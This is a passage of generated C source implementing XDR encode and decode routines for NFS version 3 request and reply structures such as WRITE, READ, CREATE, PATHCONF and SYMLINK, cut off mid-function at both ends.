*xdrs, wcc_data *objp) 284 | { 285 | register int32_t *buf; 286 | 287 | if (!xdr_pre_op_attr (xdrs, &objp->before)) 288 | return FALSE; 289 | if (!xdr_post_op_attr (xdrs, &objp->after)) 290 | return FALSE; 291 | return TRUE; 292 | } 293 | 294 | bool_t 295 | xdr_WRITE3args (XDR *xdrs, WRITE3args *objp) 296 | { 297 | register int32_t *buf; 298 | 299 | if (!xdr_nfs_fh3 (xdrs, &objp->file)) 300 | return FALSE; 301 | if (!xdr_offset3 (xdrs, &objp->offset)) 302 | return FALSE; 303 | if (!xdr_count3 (xdrs, &objp->count)) 304 | return FALSE; 305 | if (!xdr_stable_how (xdrs, &objp->stable)) 306 | return FALSE; 307 | if (!xdr_bytes (xdrs, (char **)&objp->data.data_val, (u_int *) &objp->data.data_len, ~0)) 308 | return FALSE; 309 | return TRUE; 310 | } 311 | 312 | bool_t 313 | xdr_writeverf3 (XDR *xdrs, writeverf3 objp) 314 | { 315 | register int32_t *buf; 316 | 317 | if (!xdr_opaque (xdrs, objp, NFS3_WRITEVERFSIZE)) 318 | return FALSE; 319 | return TRUE; 320 | } 321 | 322 | bool_t 323 | xdr_WRITE3resok (XDR *xdrs, WRITE3resok *objp) 324 | { 325 | register int32_t *buf; 326 | 327 | if (!xdr_wcc_data (xdrs, &objp->file_wcc)) 328 | return FALSE; 329 | if (!xdr_count3 (xdrs, &objp->count)) 330 | return FALSE; 331 | if (!xdr_stable_how (xdrs, &objp->committed)) 332 | return FALSE; 333 | if (!xdr_writeverf3 (xdrs, objp->verf)) 334 | return FALSE; 335 | return TRUE; 336 | } 337 | 338 | bool_t 339 | xdr_WRITE3resfail (XDR *xdrs, WRITE3resfail *objp) 340 | { 341 | register int32_t *buf; 342 | 343 | if (!xdr_wcc_data (xdrs, &objp->file_wcc)) 344 | return FALSE; 345 | return TRUE; 346 | } 347 | 348 | bool_t 349 | xdr_WRITE3res (XDR *xdrs, WRITE3res *objp) 350 | { 351 | register int32_t *buf; 352 | 353 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 354 | return FALSE; 355 | switch (objp->status) { 356 | case NFS3_OK: 357 | if (!xdr_WRITE3resok (xdrs, &objp->WRITE3res_u.resok)) 358 | return FALSE; 359 | break; 360 | default: 361 | if (!xdr_WRITE3resfail (xdrs, &objp->WRITE3res_u.resfail)) 362 | return FALSE; 363 | break; 364 | } 365 | return TRUE; 366 | } 367 | 368 | bool_t 369 | xdr_LOOKUP3args (XDR *xdrs, LOOKUP3args *objp) 370 | { 371 | register int32_t *buf; 372 | 373 | if (!xdr_diropargs3 (xdrs, &objp->what)) 374 | return FALSE; 375 | return TRUE; 376 | } 377 | 378 | bool_t 379 | xdr_LOOKUP3resok (XDR *xdrs, LOOKUP3resok *objp) 380 | { 381 | register int32_t *buf; 382 | 383 | if (!xdr_nfs_fh3 (xdrs, &objp->object)) 384 | return FALSE; 385 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 386 | return FALSE; 387 | if (!xdr_post_op_attr (xdrs, &objp->dir_attributes)) 388 | return FALSE; 389 | return TRUE; 390 | } 391 | 392 | bool_t 393 | xdr_LOOKUP3resfail (XDR *xdrs, LOOKUP3resfail *objp) 394 | { 395 | register int32_t *buf; 396 | 397 | if (!xdr_post_op_attr (xdrs, &objp->dir_attributes)) 398 | return FALSE; 399 | return TRUE; 400 | } 401 | 402 | bool_t 403 | xdr_LOOKUP3res (XDR *xdrs, LOOKUP3res *objp) 404 | { 405 | register int32_t *buf; 406 | 407 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 408 | return FALSE; 409 | switch (objp->status) { 410 | case NFS3_OK: 411 | if (!xdr_LOOKUP3resok (xdrs, &objp->LOOKUP3res_u.resok)) 412 | return FALSE; 413 | break; 414 | default: 415 | if (!xdr_LOOKUP3resfail (xdrs, &objp->LOOKUP3res_u.resfail)) 416 | return FALSE; 417 | break; 418 | } 419 | return TRUE; 420 | } 421 | 422 | bool_t 423 | xdr_COMMIT3args (XDR *xdrs, COMMIT3args *objp) 424 | { 425 | register int32_t *buf; 426 | 427 | if (!xdr_nfs_fh3 (xdrs, &objp->file)) 428 | return FALSE; 429 | if (!xdr_offset3 (xdrs, &objp->offset)) 430 | return FALSE; 431 | if (!xdr_count3 (xdrs, &objp->count)) 432 | return FALSE; 433 | return TRUE; 434 | } 435 | 436 | bool_t 437 | xdr_COMMIT3resok (XDR *xdrs, COMMIT3resok *objp) 438 | { 439 | register int32_t *buf; 440 | 441 | if (!xdr_wcc_data (xdrs, &objp->file_wcc)) 442 | return FALSE; 443 | if (!xdr_writeverf3 (xdrs, objp->verf)) 444 | return FALSE; 445 | return TRUE; 446 | } 447 | 448 | bool_t 449 | xdr_COMMIT3resfail (XDR *xdrs, COMMIT3resfail *objp) 450 | { 451 | register int32_t *buf; 452 | 453 | if (!xdr_wcc_data (xdrs, &objp->file_wcc)) 454 | return FALSE; 455 | return TRUE; 456 | } 457 | 458 | bool_t 459 | xdr_COMMIT3res (XDR *xdrs, COMMIT3res *objp) 460 | { 461 | register int32_t *buf; 462 | 463 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 464 | return FALSE; 465 | switch (objp->status) { 466 | case NFS3_OK: 467 | if (!xdr_COMMIT3resok (xdrs, &objp->COMMIT3res_u.resok)) 468 | return FALSE; 469 | break; 470 | default: 471 | if (!xdr_COMMIT3resfail (xdrs, &objp->COMMIT3res_u.resfail)) 472 | return FALSE; 473 | break; 474 | } 475 | return TRUE; 476 | } 477 | 478 | bool_t 479 | xdr_ACCESS3args (XDR *xdrs, ACCESS3args *objp) 480 | { 481 | register int32_t *buf; 482 | 483 | if (!xdr_nfs_fh3 (xdrs, &objp->object)) 484 | return FALSE; 485 | if (!xdr_uint32_t (xdrs, &objp->access)) 486 | return FALSE; 487 | return TRUE; 488 | } 489 | 490 | bool_t 491 | xdr_ACCESS3resok (XDR *xdrs, ACCESS3resok *objp) 492 | { 493 | register int32_t *buf; 494 | 495 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 496 | return FALSE; 497 | if (!xdr_uint32_t (xdrs, &objp->access)) 498 | return FALSE; 499 | return TRUE; 500 | } 501 | 502 | bool_t 503 | xdr_ACCESS3resfail (XDR *xdrs, ACCESS3resfail *objp) 504 | { 505 | register int32_t *buf; 506 | 507 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 508 | return FALSE; 509 | return TRUE; 510 | } 511 | 512 | bool_t 513 | xdr_ACCESS3res (XDR *xdrs, ACCESS3res *objp) 514 | { 515 | register int32_t *buf; 516 | 517 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 518 | return FALSE; 519 | switch (objp->status) { 520 | case NFS3_OK: 521 | if (!xdr_ACCESS3resok (xdrs, &objp->ACCESS3res_u.resok)) 522 | return FALSE; 523 | break; 524 | default: 525 | if (!xdr_ACCESS3resfail (xdrs, &objp->ACCESS3res_u.resfail)) 526 | return FALSE; 527 | break; 528 | } 529 | return TRUE; 530 | } 531 | 532 | bool_t 533 | xdr_GETATTR3args (XDR *xdrs, GETATTR3args *objp) 534 | { 535 | register int32_t *buf; 536 | 537 | if (!xdr_nfs_fh3 (xdrs, &objp->object)) 538 | return FALSE; 539 | return TRUE; 540 | } 541 | 542 | bool_t 543 | xdr_GETATTR3resok (XDR *xdrs, GETATTR3resok *objp) 544 | { 545 | register int32_t *buf; 546 | 547 | if (!xdr_fattr3 (xdrs, &objp->obj_attributes)) 548 | return FALSE; 549 | return TRUE; 550 | } 551 | 552 | bool_t 553 | xdr_GETATTR3res (XDR *xdrs, GETATTR3res *objp) 554 | { 555 | register int32_t *buf; 556 | 557 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 558 | return FALSE; 559 | switch (objp->status) { 560 | case NFS3_OK: 561 | if (!xdr_GETATTR3resok (xdrs, &objp->GETATTR3res_u.resok)) 562 | return FALSE; 563 | break; 564 | default: 565 | break; 566 | } 567 | return TRUE; 568 | } 569 | 570 | bool_t 571 | xdr_time_how (XDR *xdrs, time_how *objp) 572 | { 573 | register int32_t *buf; 574 | 575 | if (!xdr_enum (xdrs, (enum_t *) objp)) 576 | return FALSE; 577 | return TRUE; 578 | } 579 | 580 | bool_t 581 | xdr_set_mode3 (XDR *xdrs, set_mode3 *objp) 582 | { 583 | register int32_t *buf; 584 | 585 | if (!xdr_bool (xdrs, &objp->set_it)) 586 | return FALSE; 587 | switch (objp->set_it) { 588 | case TRUE: 589 | if (!xdr_mode3 (xdrs, &objp->set_mode3_u.mode)) 590 | return FALSE; 591 | break; 592 | default: 593 | break; 594 | } 595 | return TRUE; 596 | } 597 | 598 | bool_t 599 | xdr_set_uid3 (XDR *xdrs, set_uid3 *objp) 600 | { 601 | register int32_t *buf; 602 | 603 | if (!xdr_bool (xdrs, &objp->set_it)) 604 | return FALSE; 605 | switch (objp->set_it) { 606 | case TRUE: 607 | if (!xdr_uid3 (xdrs, &objp->set_uid3_u.uid)) 608 | return FALSE; 609 | break; 610 | default: 611 | break; 612 | } 613 | return TRUE; 614 | } 615 | 616 | bool_t 617 | xdr_set_gid3 (XDR *xdrs, set_gid3 *objp) 618 | { 619 | register int32_t *buf; 620 | 621 | if (!xdr_bool (xdrs, &objp->set_it)) 622 | return FALSE; 623 | switch (objp->set_it) { 624 | case TRUE: 625 | if (!xdr_gid3 (xdrs, &objp->set_gid3_u.gid)) 626 | return FALSE; 627 | break; 628 | default: 629 | break; 630 | } 631 | return TRUE; 632 | } 633 | 634 | bool_t 635 | xdr_set_size3 (XDR *xdrs, set_size3 *objp) 636 | { 637 | register int32_t *buf; 638 | 639 | if (!xdr_bool (xdrs, &objp->set_it)) 640 | return FALSE; 641 | switch (objp->set_it) { 642 | case TRUE: 643 | if (!xdr_size3 (xdrs, &objp->set_size3_u.size)) 644 | return FALSE; 645 | break; 646 | default: 647 | break; 648 | } 649 | return TRUE; 650 | } 651 | 652 | bool_t 653 | xdr_set_atime (XDR *xdrs, set_atime *objp) 654 | { 655 | register int32_t *buf; 656 | 657 | if (!xdr_time_how (xdrs, &objp->set_it)) 658 | return FALSE; 659 | switch (objp->set_it) { 660 | case SET_TO_CLIENT_TIME: 661 | if (!xdr_nfstime3 (xdrs, &objp->set_atime_u.atime)) 662 | return FALSE; 663 | break; 664 | default: 665 | break; 666 | } 667 | return TRUE; 668 | } 669 | 670 | bool_t 671 | xdr_set_mtime (XDR *xdrs, set_mtime *objp) 672 | { 673 | register int32_t *buf; 674 | 675 | if (!xdr_time_how (xdrs, &objp->set_it)) 676 | return FALSE; 677 | switch (objp->set_it) { 678 | case SET_TO_CLIENT_TIME: 679 | if (!xdr_nfstime3 (xdrs, &objp->set_mtime_u.mtime)) 680 | return FALSE; 681 | break; 682 | default: 683 | break; 684 | } 685 | return TRUE; 686 | } 687 | 688 | bool_t 689 | xdr_sattr3 (XDR *xdrs, sattr3 *objp) 690 | { 691 | register int32_t *buf; 692 | 693 | if (!xdr_set_mode3 (xdrs, &objp->mode)) 694 | return FALSE; 695 | if (!xdr_set_uid3 (xdrs, &objp->uid)) 696 | return FALSE; 697 | if (!xdr_set_gid3 (xdrs, &objp->gid)) 698 | return FALSE; 699 | if (!xdr_set_size3 (xdrs, &objp->size)) 700 | return FALSE; 701 | if (!xdr_set_atime (xdrs, &objp->atime)) 702 | return FALSE; 703 | if (!xdr_set_mtime (xdrs, &objp->mtime)) 704 | return FALSE; 705 | return TRUE; 706 | } 707 | 708 | bool_t 709 | xdr_createmode3 (XDR *xdrs, createmode3 *objp) 710 | { 711 | register int32_t *buf; 712 | 713 | if (!xdr_enum (xdrs, (enum_t *) objp)) 714 | return FALSE; 715 | return TRUE; 716 | } 717 | 718 | bool_t 719 | xdr_createverf3 (XDR *xdrs, createverf3 objp) 720 | { 721 | register int32_t *buf; 722 | 723 | if (!xdr_opaque (xdrs, objp, NFS3_CREATEVERFSIZE)) 724 | return FALSE; 725 | return TRUE; 726 | } 727 | 728 | bool_t 729 | xdr_createhow3 (XDR *xdrs, createhow3 *objp) 730 | { 731 | register int32_t *buf; 732 | 733 | if (!xdr_createmode3 (xdrs, &objp->mode)) 734 | return FALSE; 735 | switch (objp->mode) { 736 | case UNCHECKED: 737 | if (!xdr_sattr3 (xdrs, &objp->createhow3_u.obj_attributes)) 738 | return FALSE; 739 | break; 740 | case GUARDED: 741 | if (!xdr_sattr3 (xdrs, &objp->createhow3_u.g_obj_attributes)) 742 | return FALSE; 743 | break; 744 | case EXCLUSIVE: 745 | if (!xdr_createverf3 (xdrs, objp->createhow3_u.verf)) 746 | return FALSE; 747 | break; 748 | default: 749 | return FALSE; 750 | } 751 | return TRUE; 752 | } 753 | 754 | bool_t 755 | xdr_CREATE3args (XDR *xdrs, CREATE3args *objp) 756 | { 757 | register int32_t *buf; 758 | 759 | if (!xdr_diropargs3 (xdrs, &objp->where)) 760 | return FALSE; 761 | if (!xdr_createhow3 (xdrs, &objp->how)) 762 | return FALSE; 763 | return TRUE; 764 | } 765 | 766 | bool_t 767 | xdr_post_op_fh3 (XDR *xdrs, post_op_fh3 *objp) 768 | { 769 | register int32_t *buf; 770 | 771 | if (!xdr_bool (xdrs, &objp->handle_follows)) 772 | return FALSE; 773 | switch (objp->handle_follows) { 774 | case TRUE: 775 | if (!xdr_nfs_fh3 (xdrs, &objp->post_op_fh3_u.handle)) 776 | return FALSE; 777 | break; 778 | case FALSE: 779 | break; 780 | default: 781 | return FALSE; 782 | } 783 | return TRUE; 784 | } 785 | 786 | bool_t 787 | xdr_CREATE3resok (XDR *xdrs, CREATE3resok *objp) 788 | { 789 | register int32_t *buf; 790 | 791 | if (!xdr_post_op_fh3 (xdrs, &objp->obj)) 792 | return FALSE; 793 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 794 | return FALSE; 795 | if (!xdr_wcc_data (xdrs, &objp->dir_wcc)) 796 | return FALSE; 797 | return TRUE; 798 | } 799 | 800 | bool_t 801 | xdr_CREATE3resfail (XDR *xdrs, CREATE3resfail *objp) 802 | { 803 | register int32_t *buf; 804 | 805 | if (!xdr_wcc_data (xdrs, &objp->dir_wcc)) 806 | return FALSE; 807 | return TRUE; 808 | } 809 | 810 | bool_t 811 | xdr_CREATE3res (XDR *xdrs, CREATE3res *objp) 812 | { 813 | register int32_t *buf; 814 | 815 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 816 | return FALSE; 817 | switch (objp->status) { 818 | case NFS3_OK: 819 | if (!xdr_CREATE3resok (xdrs, &objp->CREATE3res_u.resok)) 820 | return FALSE; 821 | break; 822 | default: 823 | if (!xdr_CREATE3resfail (xdrs, &objp->CREATE3res_u.resfail)) 824 | return FALSE; 825 | break; 826 | } 827 | return TRUE; 828 | } 829 | 830 | bool_t 831 | xdr_REMOVE3args (XDR *xdrs, REMOVE3args *objp) 832 | { 833 | register int32_t *buf; 834 | 835 | if (!xdr_diropargs3 (xdrs, &objp->object)) 836 | return FALSE; 837 | return TRUE; 838 | } 839 | 840 | bool_t 841 | xdr_REMOVE3resok (XDR *xdrs, REMOVE3resok *objp) 842 | { 843 | register int32_t *buf; 844 | 845 | if (!xdr_wcc_data (xdrs, &objp->dir_wcc)) 846 | return FALSE; 847 | return TRUE; 848 | } 849 | 850 | bool_t 851 | xdr_REMOVE3resfail (XDR *xdrs, REMOVE3resfail *objp) 852 | { 853 | register int32_t *buf; 854 | 855 | if (!xdr_wcc_data (xdrs, &objp->dir_wcc)) 856 | return FALSE; 857 | return TRUE; 858 | } 859 | 860 | bool_t 861 | xdr_REMOVE3res (XDR *xdrs, REMOVE3res *objp) 862 | { 863 | register int32_t *buf; 864 | 865 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 866 | return FALSE; 867 | switch (objp->status) { 868 | case NFS3_OK: 869 | if (!xdr_REMOVE3resok (xdrs, &objp->REMOVE3res_u.resok)) 870 | return FALSE; 871 | break; 872 | default: 873 | if (!xdr_REMOVE3resfail (xdrs, &objp->REMOVE3res_u.resfail)) 874 | return FALSE; 875 | break; 876 | } 877 | return TRUE; 878 | } 879 | 880 | bool_t 881 | xdr_READ3args (XDR *xdrs, READ3args *objp) 882 | { 883 | register int32_t *buf; 884 | 885 | if (!xdr_nfs_fh3 (xdrs, &objp->file)) 886 | return FALSE; 887 | if (!xdr_offset3 (xdrs, &objp->offset)) 888 | return FALSE; 889 | if (!xdr_count3 (xdrs, &objp->count)) 890 | return FALSE; 891 | return TRUE; 892 | } 893 | 894 | bool_t 895 | xdr_READ3resok (XDR *xdrs, READ3resok *objp) 896 | { 897 | register int32_t *buf; 898 | 899 | if (!xdr_post_op_attr (xdrs, &objp->file_attributes)) 900 | return FALSE; 901 | if (!xdr_count3 (xdrs, &objp->count)) 902 | return FALSE; 903 | if (!xdr_bool (xdrs, &objp->eof)) 904 | return FALSE; 905 | if (!xdr_bytes (xdrs, (char **)&objp->data.data_val, (u_int *) &objp->data.data_len, ~0)) 906 | return FALSE; 907 | return TRUE; 908 | } 909 | 910 | bool_t 911 | xdr_READ3resfail (XDR *xdrs, READ3resfail *objp) 912 | { 913 | register int32_t *buf; 914 | 915 | if (!xdr_post_op_attr (xdrs, &objp->file_attributes)) 916 | return FALSE; 917 | return TRUE; 918 | } 919 | 920 | bool_t 921 | xdr_READ3res (XDR *xdrs, READ3res *objp) 922 | { 923 | register int32_t *buf; 924 | 925 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 926 | return FALSE; 927 | switch (objp->status) { 928 | case NFS3_OK: 929 | if (!xdr_READ3resok (xdrs, &objp->READ3res_u.resok)) 930 | return FALSE; 931 | break; 932 | default: 933 | if (!xdr_READ3resfail (xdrs, &objp->READ3res_u.resfail)) 934 | return FALSE; 935 | break; 936 | } 937 | return TRUE; 938 | } 939 | 940 | bool_t 941 | xdr_FSINFO3args (XDR *xdrs, FSINFO3args *objp) 942 | { 943 | register int32_t *buf; 944 | 945 | if (!xdr_nfs_fh3 (xdrs, &objp->fsroot)) 946 | return FALSE; 947 | return TRUE; 948 | } 949 | 950 | bool_t 951 | xdr_FSINFO3resok (XDR *xdrs, FSINFO3resok *objp) 952 | { 953 | register int32_t *buf; 954 | 955 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 956 | return FALSE; 957 | if (!xdr_uint32_t (xdrs, &objp->rtmax)) 958 | return FALSE; 959 | if (!xdr_uint32_t (xdrs, &objp->rtpref)) 960 | return FALSE; 961 | if (!xdr_uint32_t (xdrs, &objp->rtmult)) 962 | return FALSE; 963 | if (!xdr_uint32_t (xdrs, &objp->wtmax)) 964 | return FALSE; 965 | if (!xdr_uint32_t (xdrs, &objp->wtpref)) 966 | return FALSE; 967 | if (!xdr_uint32_t (xdrs, &objp->wtmult)) 968 | return FALSE; 969 | if (!xdr_uint32_t (xdrs, &objp->dtpref)) 970 | return FALSE; 971 | if (!xdr_size3 (xdrs, &objp->maxfilesize)) 972 | return FALSE; 973 | if (!xdr_nfstime3 (xdrs, &objp->time_delta)) 974 | return FALSE; 975 | if (!xdr_uint32_t (xdrs, &objp->properties)) 976 | return FALSE; 977 | return TRUE; 978 | } 979 | 980 | bool_t 981 | xdr_FSINFO3resfail (XDR *xdrs, FSINFO3resfail *objp) 982 | { 983 | register int32_t *buf; 984 | 985 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 986 | return FALSE; 987 | return TRUE; 988 | } 989 | 990 | bool_t 991 | xdr_FSINFO3res (XDR *xdrs, FSINFO3res *objp) 992 | { 993 | register int32_t *buf; 994 | 995 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 996 | return FALSE; 997 | switch (objp->status) { 998 | case NFS3_OK: 999 | if (!xdr_FSINFO3resok (xdrs, &objp->FSINFO3res_u.resok)) 1000 | return FALSE; 1001 | break; 1002 | default: 1003 | if (!xdr_FSINFO3resfail (xdrs, &objp->FSINFO3res_u.resfail)) 1004 | return FALSE; 1005 | break; 1006 | } 1007 | return TRUE; 1008 | } 1009 | 1010 | bool_t 1011 | xdr_FSSTAT3args (XDR *xdrs, FSSTAT3args *objp) 1012 | { 1013 | register int32_t *buf; 1014 | 1015 | if (!xdr_nfs_fh3 (xdrs, &objp->fsroot)) 1016 | return FALSE; 1017 | return TRUE; 1018 | } 1019 | 1020 | bool_t 1021 | xdr_FSSTAT3resok (XDR *xdrs, FSSTAT3resok *objp) 1022 | { 1023 | register int32_t *buf; 1024 | 1025 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 1026 | return FALSE; 1027 | if (!xdr_size3 (xdrs, &objp->tbytes)) 1028 | return FALSE; 1029 | if (!xdr_size3 (xdrs, &objp->fbytes)) 1030 | return FALSE; 1031 | if (!xdr_size3 (xdrs, &objp->abytes)) 1032 | return FALSE; 1033 | if (!xdr_size3 (xdrs, &objp->tfiles)) 1034 | return FALSE; 1035 | if (!xdr_size3 (xdrs, &objp->ffiles)) 1036 | return FALSE; 1037 | if (!xdr_size3 (xdrs, &objp->afiles)) 1038 | return FALSE; 1039 | if (!xdr_uint32_t (xdrs, &objp->invarsec)) 1040 | return FALSE; 1041 | return TRUE; 1042 | } 1043 | 1044 | bool_t 1045 | xdr_FSSTAT3resfail (XDR *xdrs, FSSTAT3resfail *objp) 1046 | { 1047 | register int32_t *buf; 1048 | 1049 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 1050 | return FALSE; 1051 | return TRUE; 1052 | } 1053 | 1054 | bool_t 1055 | xdr_FSSTAT3res (XDR *xdrs, FSSTAT3res *objp) 1056 | { 1057 | register int32_t *buf; 1058 | 1059 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 1060 | return FALSE; 1061 | switch (objp->status) { 1062 | case NFS3_OK: 1063 | if (!xdr_FSSTAT3resok (xdrs, &objp->FSSTAT3res_u.resok)) 1064 | return FALSE; 1065 | break; 1066 | default: 1067 | if (!xdr_FSSTAT3resfail (xdrs, &objp->FSSTAT3res_u.resfail)) 1068 | return FALSE; 1069 | break; 1070 | } 1071 | return TRUE; 1072 | } 1073 | 1074 | bool_t 1075 | xdr_PATHCONF3args (XDR *xdrs, PATHCONF3args *objp) 1076 | { 1077 | register int32_t *buf; 1078 | 1079 | if (!xdr_nfs_fh3 (xdrs, &objp->object)) 1080 | return FALSE; 1081 | return TRUE; 1082 | } 1083 | 1084 | bool_t 1085 | xdr_PATHCONF3resok (XDR *xdrs, PATHCONF3resok *objp) 1086 | { 1087 | register int32_t *buf; 1088 | 1089 | 1090 | if (xdrs->x_op == XDR_ENCODE) { 1091 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 1092 | return FALSE; 1093 | if (!xdr_uint32_t (xdrs, &objp->linkmax)) 1094 | return FALSE; 1095 | if (!xdr_uint32_t (xdrs, &objp->name_max)) 1096 | return FALSE; 1097 | buf = XDR_INLINE (xdrs, 4 * BYTES_PER_XDR_UNIT); 1098 | if (buf == NULL) { 1099 | if (!xdr_bool (xdrs, &objp->no_trunc)) 1100 | return FALSE; 1101 | if (!xdr_bool (xdrs, &objp->chown_restricted)) 1102 | return FALSE; 1103 | if (!xdr_bool (xdrs, &objp->case_insensitive)) 1104 | return FALSE; 1105 | if (!xdr_bool (xdrs, &objp->case_preserving)) 1106 | return FALSE; 1107 | } else { 1108 | IXDR_PUT_BOOL(buf, objp->no_trunc); 1109 | IXDR_PUT_BOOL(buf, objp->chown_restricted); 1110 | IXDR_PUT_BOOL(buf, objp->case_insensitive); 1111 | IXDR_PUT_BOOL(buf, objp->case_preserving); 1112 | } 1113 | return TRUE; 1114 | } else if (xdrs->x_op == XDR_DECODE) { 1115 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 1116 | return FALSE; 1117 | if (!xdr_uint32_t (xdrs, &objp->linkmax)) 1118 | return FALSE; 1119 | if (!xdr_uint32_t (xdrs, &objp->name_max)) 1120 | return FALSE; 1121 | buf = XDR_INLINE (xdrs, 4 * BYTES_PER_XDR_UNIT); 1122 | if (buf == NULL) { 1123 | if (!xdr_bool (xdrs, &objp->no_trunc)) 1124 | return FALSE; 1125 | if (!xdr_bool (xdrs, &objp->chown_restricted)) 1126 | return FALSE; 1127 | if (!xdr_bool (xdrs, &objp->case_insensitive)) 1128 | return FALSE; 1129 | if (!xdr_bool (xdrs, &objp->case_preserving)) 1130 | return FALSE; 1131 | } else { 1132 | objp->no_trunc = IXDR_GET_BOOL(buf); 1133 | objp->chown_restricted = IXDR_GET_BOOL(buf); 1134 | objp->case_insensitive = IXDR_GET_BOOL(buf); 1135 | objp->case_preserving = IXDR_GET_BOOL(buf); 1136 | } 1137 | return TRUE; 1138 | } 1139 | 1140 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 1141 | return FALSE; 1142 | if (!xdr_uint32_t (xdrs, &objp->linkmax)) 1143 | return FALSE; 1144 | if (!xdr_uint32_t (xdrs, &objp->name_max)) 1145 | return FALSE; 1146 | if (!xdr_bool (xdrs, &objp->no_trunc)) 1147 | return FALSE; 1148 | if (!xdr_bool (xdrs, &objp->chown_restricted)) 1149 | return FALSE; 1150 | if (!xdr_bool (xdrs, &objp->case_insensitive)) 1151 | return FALSE; 1152 | if (!xdr_bool (xdrs, &objp->case_preserving)) 1153 | return FALSE; 1154 | return TRUE; 1155 | } 1156 | 1157 | bool_t 1158 | xdr_PATHCONF3resfail (XDR *xdrs, PATHCONF3resfail *objp) 1159 | { 1160 | register int32_t *buf; 1161 | 1162 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 1163 | return FALSE; 1164 | return TRUE; 1165 | } 1166 | 1167 | bool_t 1168 | xdr_PATHCONF3res (XDR *xdrs, PATHCONF3res *objp) 1169 | { 1170 | register int32_t *buf; 1171 | 1172 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 1173 | return FALSE; 1174 | switch (objp->status) { 1175 | case NFS3_OK: 1176 | if (!xdr_PATHCONF3resok (xdrs, &objp->PATHCONF3res_u.resok)) 1177 | return FALSE; 1178 | break; 1179 | default: 1180 | if (!xdr_PATHCONF3resfail (xdrs, &objp->PATHCONF3res_u.resfail)) 1181 | return FALSE; 1182 | break; 1183 | } 1184 | return TRUE; 1185 | } 1186 | 1187 | bool_t 1188 | xdr_nfspath3 (XDR *xdrs, nfspath3 *objp) 1189 | { 1190 | register int32_t *buf; 1191 | 1192 | if (!xdr_string (xdrs, objp, ~0)) 1193 | return FALSE; 1194 | return TRUE; 1195 | } 1196 | 1197 | bool_t 1198 | xdr_symlinkdata3 (XDR *xdrs, symlinkdata3 *objp) 1199 | { 1200 | register int32_t *buf; 1201 | 1202 | if (!xdr_sattr3 (xdrs, &objp->symlink_attributes)) 1203 | return FALSE; 1204 | if (!xdr_nfspath3 (xdrs, &objp->symlink_data)) 1205 | return FALSE; 1206 | return TRUE; 1207 | } 1208 | 1209 | bool_t 1210 | xdr_SYMLINK3args (XDR *xdrs, SYMLINK3args *objp) 1211 | { 1212 | register int32_t *buf; 1213 | 1214 | if (!xdr_diropargs3 (xdrs, &objp->where)) 1215 | return FALSE; 1216 | if (!xdr_symlinkdata3 (xdrs, &objp->symlink)) 1217 | return FALSE; 1218 | return TRUE; 1219 | } 1220 | 1221 | bool_t 1222 | xdr_SYMLINK3resok (XDR *xdrs, SYMLINK3resok *objp) 1223 | { 1224 | register int32_t *buf; 1225 | 1226 | if (!xdr_post_op_fh3 (xdrs, &objp->obj)) 1227 | return FALSE; 1228 | if (!xdr_post_op_attr (xdrs, &objp->obj_attributes)) 1229 | return FALSE; 1230 | if (!xdr_wcc_data (xdrs, &objp->dir_wcc)) 1231 | return FALSE; 1232 | return TRUE; 1233 | } 1234 | 1235 | bool_t 1236 | xdr_SYMLINK3resfail (XDR *xdrs, SYMLINK3resfail *objp) 1237 | { 1238 | register int32_t *buf; 1239 | 1240 | if (!xdr_wcc_data (xdrs, &objp->dir_wcc)) 1241 | return FALSE; 1242 | return TRUE; 1243 | } 1244 | 1245 | bool_t 1246 | xdr_SYMLINK3res (XDR *xdrs, SYMLINK3res *objp) 1247 | { 1248 | register int32_t *buf; 1249 | 1250 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 1251 | return FALSE; 1252 | switch (objp->status) { 1253 | case NFS3_OK: 1254 | if (!xdr_SYMLINK3resok (xdrs, &objp->SYMLINK3res_u.resok)) 1255 | return FALSE; 1256 | break; 1257 | default: 1258 | if (!xdr_SYMLINK3resfail (xdrs, &objp->SYMLINK3res_u.resfail)) 1259 | return FALSE; 1260 | break; 1261 | } 1262 | return TRUE; 1263 | } 1264 | 1265 | bool_t 1266 | xdr_READLINK3args (XDR *xdrs, READLINK3args *objp) 1267 | { 1268 | register int32_t *buf; 1269 | 1270 | if (!xdr_nfs_fh3 (xdrs, &objp->symlink)) 1271 | return FALSE; 1272 | return TRUE; 1273 | } 1274 | 1275 | bool_t 1276 | xdr_READLINK3resok (XDR *xdrs, READLINK3resok *objp) 1277 | { 1278 | register int32_t *buf; 1279 | 1280 | if (!xdr_post_op_attr (xdrs, &objp->symlink_attributes)) 1281 | return FALSE; 1282 | if (!xdr_nfspath3 (xdrs, &objp->data)) 1283 | return FALSE; 1284 | return TRUE; 1285 | } 1286 | 1287 | bool_t 1288 | xdr_READLINK3resfail (XDR *xdrs, READLINK3resfail *objp) 1289 | { 1290 | register int32_t *buf; 1291 | 1292 | if (!xdr_post_op_attr (xdrs, &objp->symlink_attributes)) 1293 | return FALSE; 1294 | return TRUE; 1295 | } 1296 | 1297 | bool_t 1298 | xdr_READLINK3res (XDR *xdrs, READLINK3res *objp) 1299 | { 1300 | register int32_t *buf; 1301 | 1302 | if (!xdr_nfsstat3 (xdrs, &objp->status)) 1303 | return FALSE; 1304 | switch (objp->status) { 1305 | case NFS3_OK: 1306 | if (!xdr_READLINK3resok 